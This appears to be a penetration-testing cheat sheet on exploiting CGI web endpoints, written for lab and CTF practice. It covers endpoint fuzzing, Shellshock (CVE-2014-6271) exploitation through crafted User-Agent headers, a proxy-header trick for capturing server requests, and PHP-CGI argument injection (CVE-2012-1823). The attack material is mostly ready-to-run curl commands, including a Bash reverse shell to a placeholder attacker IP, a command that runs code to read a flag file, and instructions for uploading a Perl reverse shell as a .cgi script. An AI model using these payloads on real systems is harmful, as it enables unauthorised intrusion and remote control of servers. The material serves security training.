CGI

Theory

Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program to process HTTP/S user requests.

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it.

Practice

Enumerate

We can fuzz for CGI endpoints using CGIs.txt and CGI-Microsoft.fuzz.txt from SecList

#Linux
feroxbuster -u http://<TARGET> -w /usr/share/SecList/Discovery/Web-Content/CGIs.txt

#Windows
feroxbuster -u http://<TARGET> -w /usr/share/SecList/Discovery/Web-Content/CGI-Microsoft.fuzz.txt

We can test for CGI vulns using nikto

nikto -h <TARGET> -C all

Vulnerabilities

ShellShock - CVE-2014-6271

Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an attacker can tack-on malicious code to the environment variable, which will run once the variable is received.

Exploit

If we found the CGI script under /cgi-bin/, modifying HTTP header to remote code execution.

#reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://<TARGET>/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'

#Blind
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://<TARGET>/cgi-bin/admin.cgi

#reverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<ATTACKING_IP>/<PORT> 0>&1' http://<TARGET>/cgi-bin/admin.cgi

Proxy (MitM to Web server requests)

Exploit

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"

As the HTTP_PROXY variable could be used by the web server. Try to send a header containing: "Proxy: <IP_attacker>:<PORT>" and if the server performs any request during the session. You will be able to capture each request made by the server.

CGI RCE - CVE-2012-1823, CVE-2012-2311

Exploit

Basically if cgi is active and php is "old" (<5.3.12 / < 5.4.2) you can execute code. In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters (specially without sending the character "="). Then, in order to test this vulnerability, you could access for example /index.php?-s (note the -s) and source code of the application will appear in the response.

Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input and the PHP code to be executed in the body of the request.

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Resources

CGI - HackTricksbook.hacktricks.xyz

https://exploit-notes.hdks.org/exploit/web/cgi-pentesting/exploit-notes.hdks.org